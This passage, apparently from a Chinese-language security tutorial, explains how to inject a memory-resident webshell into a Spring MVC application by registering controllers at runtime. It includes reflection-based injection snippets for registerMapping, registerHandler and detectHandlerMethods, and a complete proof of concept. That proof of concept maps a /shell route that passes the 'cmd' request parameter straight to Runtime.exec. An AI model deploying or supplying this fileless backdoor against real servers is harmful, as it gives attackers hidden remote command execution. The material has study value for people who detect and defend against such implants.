对象,然后再注册进RequestMappingHandlerMapping
中,这样请求进来以后就可以根据请求地址调用到Controller类里面了。
- RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建。
- 在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的
org.springframework.web.context.ContextLoaderListener
,由它来完成IOC容器的初始化和bean对象的注入。 - 另外一个是ApplicationContext是由
org.springframework.web.servlet.DispatcherServlet
完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()
这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。
Spring 2.5 开始到 Spring 3.1 之前一般使用:
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。
3)registerMapping
在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping。
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
4)registerHandler
参考上面的 HandlerMapping
接口继承关系图,针对使用 DefaultAnnotationHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
在其registerHandler()
方法中
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;
// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
ApplicationContext applicationContext = obtainApplicationContext();
if (applicationContext.isSingleton(handlerName)) {
resolvedHandler = applicationContext.getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException(
"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
}
}
else {
if (urlPath.equals("/")) {
if (logger.isTraceEnabled()) {
logger.trace("Root mapping to " + getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
}
else if (urlPath.equals("/*")) {
if (logger.isTraceEnabled()) {
logger.trace("Default mapping to " + getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
}
else {
this.handlerMap.put(urlPath, resolvedHandler);
if (getPatternParser() != null) {
this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
}
if (logger.isTraceEnabled()) {
logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
}
}
}
}
该方法接受 urlPath
参数和 handler
参数,可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 将 url 和 controller 实例 bean 注册到 handlerMap
中
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
5)detectHandlerMethods
参考上面的 HandlerMapping
接口继承关系图,针对使用 RequestMappingHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在其detectHandlerMethods()
方法中
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}
该方法仅接受handler
参数,同样可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 并注册 controller
的实例 bean
。
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
6)实现恶意Controller
这里由于我们是动态注册Controller,所以我们只需要实现对应的恶意方法即可:
public class Controller_Shell{
public Controller_Shell(){}
public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
完整POC
package com.shell.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
@Controller
public class shell_controller {
// @ResponseBody
@RequestMapping("/control")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
}
public class Controller_Shell{
public Controller_Shell(){}
public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
}
首先访问/control
路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误。我们可以使用@ResponeBody
来将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区。
然后访问我们定义恶意Controller的路由/shell
。